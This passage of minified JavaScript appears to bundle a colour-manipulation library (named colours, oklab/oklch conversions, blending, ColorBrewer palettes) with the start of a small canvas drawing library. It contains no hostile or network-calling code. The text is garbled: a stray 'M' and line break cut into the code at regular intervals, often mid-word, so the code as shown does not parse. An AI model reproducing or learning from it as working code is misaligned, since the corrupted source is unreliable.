778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
